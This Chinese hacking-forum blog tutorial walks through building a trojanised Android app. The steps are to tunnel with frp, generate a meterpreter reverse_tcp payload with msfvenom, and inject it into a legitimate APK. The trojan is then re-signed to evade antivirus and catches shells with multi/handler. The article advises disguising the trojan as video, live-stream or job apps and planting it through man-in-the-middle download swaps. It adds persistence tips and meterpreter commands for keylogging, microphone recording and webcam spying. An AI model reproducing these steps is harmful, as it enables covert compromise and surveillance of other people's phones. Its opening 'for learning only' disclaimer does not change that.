X黑手网
X黑手网
X黑手网
pic

前言:

强调一点:该教程只能用于学习,切勿用于违法行为。若通过学习本篇博客,做出违法行为,一切后果操作者自负。技术无罪。文中提及的部分技术可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使用

注意: 本文仅供学习和研究。在了解技术和原理的前提下。更好的保护个人信息安全。反对一切危害网络安全的行为!造成法律后果与本文无关。

前段时间不是徒弟叫我渗透它手机,给他开开眼眼吗,正好快过年了,最近有时间,现在就给他安排上!

微信图片_20230117071011

微信图片_20230117071111

首先呢,我和他不在同一个地方,想让msf上线怎么办呢?对的,一般都是内网穿透,当然你有公网也行哈哈,那么开始吧!
内网穿透的方式不少,有人会也有人不太懂,最简单的,对新手友好的就是花生壳,但是要钱,对穷人不友好,这里我们就用操作稍微有点麻烦的但是免费的frp。

工具:

我们到官网上下载就好了:
  • https://github.com/fatedier/frp/releases
我这里下载的是最新版,当然我们还需要准备一台服务器,腾讯云什么就好
轻量级就可以了,当然你也可以用自己的物理机(shell的接收是虚拟机中的kali)
轻量级就可以了,当然你也可以用自己的物理机(shell的接收是虚拟机中的kali)
最后就是准备一台kali和msf了。
步骤其实很简单,我们首先将下好的frp传到服务器和kali中,解压(不会的百度)

1.frp是一款免费的内网穿透工具,当两个局域网的时候可以通过这个来进行渗透
2.首先准备一台具有公网的服务器
3.和ftp一样都是具有服务端和客户端的,服务端下载和客户端下载一定要保持版本号一直,再根据不同的内核下载不同的压缩包。

  • 比如服务端(服务器):
wget https://github.com/fatedier/frp/releases/frp_0.33.0_linux_amd64.tar.gz

比如客户端(kali):

wget https://github.com/fatedier/frp/releases/frp_0.33.0_darwin_amd64.tar.gz

服务器(只要是入口的都要放行:3999 6000 2333,开启你需要的端口)

下载好frp后,在服务端点进去文件系统,点进去/usr,在/usr目录下的local文件夹中新建一个命名为frp的文件夹,把刚刚下载好的frp放到/usr/local/frp/,最后效果如下图所示:

微信图片_20230115031946

然后进入解压后的文件,可手动删除frpc、frpc.ini(客户端文件),然后进入frps.ini进行配置:

微信图片_20230115031418

当然也可以用命令:

tar -zxvf frp_0.33.0_linux_amd64.tar.gz 
#进入frp解压目录
cd frp_0.33.0_linux_amd64.tar.gz
ls
#编辑frps.ini文件
vi frps.ini
#frp服务端与客户端连接端口,frps和frpc必须一致;防火墙放行该端口,
bind_port=39999(默认的是7000被我改了,科莫及~~~)
#启动frps
./frps

然后启动服务端如下图:

微信图片_20230115031515

客户端
这是Kali中的
然后我们就可以开始修改配置文件了,kali这边属于客户端,主要用的是frpc,所以我们配置frpc.ini这个配置文件就好了。
我们修改一个server_addr这里的IP,换成服务器的IP
然后我们还需要加上msf用的端口
然后其他的不变,这里需要注意一点,服务器的安全组策略需要将7000,8000和6000三个开启,这里以腾讯云举例
 
[common]
server_addr =  你服务器IP
server_port = 9090
#token = 12345678    # 授权
tls_enable = true
protocol = kcp

[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 6000

[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 2333
remote_port = 4444

服务端启动frp并启动成功:

微信图片_20230115032704

启动方法:

客户端:前台启动:./frpc -c ./frpc.ini 后台启动:nohup ./frpc -c ./frpc.ini &

服务器端:前台启动:./frps -c ./frps.ini 后台启动:nohup ./frps -c ./frps.ini &

这样两边就都启动成功了。(这里不讲配置的一些理论理解了,麻烦,大家可以百度内网穿透的理论知识)

目前内网穿透正式启动好了,第二步生成木马:

然后执行如下命令生成木马文件.

通过如下命令生成木马,注意这里的LHOST是公网的ip,LPORT是上面frpc.ini的remote_port。这是最重要的地方。

这里监听了4444端口

msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.3.14
lport=4444 R>/root/abc.apk

#lhost=是服务器IP

微信图片_20230115035559

这里的apk还无法直接在安卓中运行。

会提示如下:

微信图片_20230116015915

photo_2023-01-16_01-52-34

微信图片_20230116015911

所以我们要进行免杀等捆绑操作可以看一下操作:

3)将(2)中反编译出来的AndroidManifest.xml文件中的和粘贴到(1)中的AndroidManifest.xml中(改变该apk应用的权限)
(4)拷贝payload:将(2)中反编译的文件smali/com目录下的文件拷贝到(1)中对应目录下
(5)执行payload:在apk程序入口Activity的oncreate()方法,添加以下脚本:

invoke-static{p0},Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

可使用aapt查找apk包主程序入口,也可查看文件AndroidManifest.xml中的以下脚本的包名,其中com.chenai.eyen.act.MainDl即为主程序入口activity

小白向——注入有效载荷 and 过手机杀毒 – X黑手网-Kali Nethunter论坛-移动端-X黑手网 (x10001.com)

或者:

木马免杀

对于以上的木马,是无法通过杀毒软件的查杀的,我们可以将 payload加入到正常的APP中,来起来免杀的效果。
命令:

msfvenom -p -x test.apk android/meterpreter/reverse_tcp LHOST=192.168.232.195 LPORT=5555 R > kali.apk

命令详解:
-x: 后跟原生态app
生成的kali.apk为新的木马文件。

视频演示:

 

但是呢,经过上述操作获取此时,payload已经成功注入我们的需要捆绑的软件中中,但是很多小伙伴会发现,安装后无法正常使用功能,这时候就需要为其添加权限,

接下来,使用Apktool反编译此文件。为了方便区分,我们将此apk名修改为2.apk,并移动到root目录下。

图片[11]-黑客是如何入侵我们的手机的详细教程-X黑手网

k) 下面使用Apktool反编译,打开终端,输入命令apktool d /root/2.apk,回车。

图片[12]-黑客是如何入侵我们的手机的详细教程-X黑手网

l) 此时我们的apk已经反编译完成,打开目录2下的AndroidManifest.xml,我们会发现此时这个apk所声明的权限很少,并不能实现我们所需要的功能,此时就需要声明更多权限。

图片[13]-黑客是如何入侵我们的手机的详细教程-X黑手网

m) 此时很多小伙伴就会有疑问:我对android代码一无所知,怎么知道我们的payload需要些什么权限呢?这可难不倒我们,我们可以用msf生成一个原始的payload,反编译这个apk,去查看它声明了哪些权限,复制进来就可以了,下面我们继续操作。

n) 在终端中输入命令msfvenom -p android/meterpreter/reverse_tcp LHOST=10.161.94.25 LPORT=4444 -o 3.apk,就可以在root目录下生成一个3.apk的payload,并且按照我们之前k中的步骤反编译。

图片[14]-黑客是如何入侵我们的手机的详细教程-X黑手网

o) 此时,反编译已经完成,我们来看看payload声明了哪些权限。

图片[15]-黑客是如何入侵我们的手机的详细教程-X黑手网

p) 好的,我们复制这些代码到我们2目录下的相同位置处并保存,但要注意不能重复声明。

q) 此时我们最关键的声明权限步骤已经完成,接下来要做的就是使用Apktool打包应用,并为其添加签名。终端中输入命令,apktool b /root/,回车,此时应用打包就完成了。新应用会存放在/root/2/dist/2.apk这个位置。为了方便区分,我们将其文件名修改为4.apk,并移动到root目录下。当然,此时的应用还是未签名的,下一步,我们对其进行签名操作。(当然也可以用MT管理器签名,方便快捷)

图片[16]-黑客是如何入侵我们的手机的详细教程-X黑手网

r) 首先需要生成签名证书KEYSTORE,终端中输入命令keytool -genkey -alias android.keystore -keyalg RSA -validity 20000 -keystore android.keystore,回车。

参数说明:

-genkey 生成文件
-alias 别名
-keyalg 加密算法
-validity 有效期
-keystore 文件名

图片[17]-黑客是如何入侵我们的手机的详细教程-X黑手网

最后一步输入Y确认输入并回车,即可。

s) 这样就生成好了签名证书,接下来我们对apk进行签名。终端中输入命令jarsigner -verbose -keystore android.keystore -signedjar 4_signed.apk 4.apk android.keystore,回车。

参数说明:

4_signed.apk是签名之后的文件
4.apk是需要签名的文件

图片[18]-黑客是如何入侵我们的手机的详细教程-X黑手网
图片[19]-黑客是如何入侵我们的手机的详细教程-X黑手网

t) 此时,应用签名已经完成,我们可以进行测试了。将签名后的4_signed.apk安装到手机上。

u) 下一步,打开msf控制台,设置好监听参数后,等待上线。打开终端,输入命令msfconsole,回车。进入msf控制台。

输入命令use exploit/multi/handler,回车。

输入set PAYLOAD android/meterpreter/reverse_tcp,回车。

输入set LHOST 127.0.0.1,回车。

输入set LPORT 4444,回车。

注意这里的lhost是localip即127.0.0.1、lport是localport即4444。这里是端口进行了转发。

111111111

接下来就可以把qyyx.apk木马文件发送给手机了
只要手机安装并且运行,shell就会反弹到kali中

怎么将kali生成的apk拿出来?有两个方法

    • 第一个方法是启动kali的apache
      systemctl start apache2
      把apk文件放到/var/www/html/目录下,雷电模拟器中访问kali的ip加文件名字
      192.168.72.133/qyyx.apk就可以下载了

    • 第二个方法是打开kali自带的火狐浏览器上传到网盘中

    • 最后获取meterpreter

此时,我们的监听参数已经设置完成。

 输入exploit,开始监听。

22222222222

输入命令sessions,可以查看设备列表。再次输入sessions 1,即可获得设备控制权。输入sysinfo查看系统信息。到这儿就不过多演示了,可以参看一下一下内容学习:

第三步,拓展:

实战过程中可以对app进行伪装,修改图标,标题,版本,签名

如(XX直播,XX视频,刷赞,兼职,XX游戏等等)

看到这里,很多小伙伴就会有许多疑问。我这里给出一些简单的拓展回答,如果需要,可以在评论区和我交流。

Q:如果我在不同内网环境下,怎么上线呢?

A:有很多解决办法,这里提供两种思路。1.使用vps转发来达到上线目的。2.使用Ngrok等工具做内网穿透。

Q:怎样把后门程序安装到别人的手机上呢?

A:这里就有无数种思路了,比如可以做中间人欺骗,来替换下载的程序绑马,或者是将后门添加到其他人比较感兴趣的应用中去。

Q:为什么我换了其他的应用,使用backdoor-apk,最后一步就报错呢?

A:很多应用做了处理,防止一般的反编译,可以采取手动注入手段或者使用其他如spade等达到目的。其中手动注入要有一点点难度,但也很简单,只要理解了就好办。

Q:这个后门软件会被杀毒软件报毒么?

A:本人做了测试,是报安全的。但不排除特定的杀毒软件查到特征,可以自己做混淆免杀处理,很多种方法逃避查杀,在这里不展开讲了。

Q:如果重启以后掉线,或是一段时间自动掉线了怎么解决呢?

A:这里提供两种思路。1.找开机自启的应用来保证每次开机都会启动。2.自写守护脚本,用shell运行。

对以上内容有感兴趣的小伙伴,欢迎在评论区提问,或是发消息给我,我会尽我所能为其解答。

8.这儿附上更多命令

还可以查看帮助文档,命令help

cmd指令:
cat 读取文件内容到屏幕
cd 更改目录
checksum 检索文件的校验和
cp 将源复制到目标
del 删除指定文件
dir 列出文件(ls 的别名)
下载 下载文件或目录
编辑 编辑文件
getlwd 打印本地工作目录
getwd 打印工作目录
lcd 更改本地工作目录
lls 列出本地文件
lpwd 打印本地工作目录
ls 列出文件
mkdir 创建目录
mv 将源移动到目标
pwd 打印工作目录
rm 删除指定文件
rmdir 删除目录
search 搜索文件
show_mount 列出所有挂载点/逻辑驱动器
upload 上传文件或目录
pkill 按名称终止进程
meterpreter命令:
keyscan_start 开始捕获击键(开始键盘记录)
keyscan_dump 转储按键缓冲(下载键盘记录)
keyscan_stop 停止捕获击键(停止键盘记录)
record_mic X秒从默认的麦克风record_mic音频记录(音频录制)
webcam_chat 开始视频聊天(视频,对方会有弹窗)
webcam_list 单摄像头(查看摄像头列表)
webcam_snap 采取快照从指定的摄像头(摄像头拍摄一张照片)
webcam_stream 播放视频流从指定的摄像头(开启摄像头监控)
enumdesktops 列出所有可访问的桌面和窗口站(窗体列表)
getdesktop 得到当前的Meterpreter桌面
reboot 重新启动远程计算机
shutdown 关闭远程计算机
shell 放入系统命令 shell
enumdesktops 列出所有可访问的桌面和窗口站
getdesktop 获取当前的meterpreter桌面
idletime 返回远程用户空闲的秒数
keyboard_send 发送击键
keyevent 发送按键事件
keyscan_dump 转储击键缓冲区
keyscan_start 开始捕获击键
keyscan_stop 停止捕获击键
mouse 发送鼠标事件
screenshare 实时观看远程用户桌面
screenshot 抓取交互式桌面的屏幕截图
setdesktop 更改 Meterpreters 当前桌面
uictl 控制一些用户界面组件
record_mic 从默认麦克风录制音频 X 秒
webcam_chat 开始视频聊天
webcam_list 列出网络摄像头
webcam_snap 从指定的网络摄像头拍摄快照
webcam_stream 播放来自指定网络摄像头的视频流
play 在目标系统上播放波形音频文件 (.wav)
getsystem 尝试将您的权限提升到本地系统的权限
execute -f notepad 打开记事本

一些另外的玩法

 

给手机播放视频和音频文件(需更新到最新版的msf)

命令格式: paly /root/xxx.mp3 mp4
2.png

 

修改手机壁纸

background
use post/multi/manage/set_wallpaper
sessions
set sessions id
set WALLPAPER_FILE JPG
exploit
 

晋级玩法

利用 armitage图形化管理工具
3.png

 

可视化的文件管理

4.png

 

结束!是不是很有趣~如果逆向更深层次的接近或者想要系统的学习一下kali linux

可以关注加入我们一起交流

© 版权声明
THE END
喜欢就支持一下吧
点赞14赞赏 分享
评论 共1条

请登录后发表评论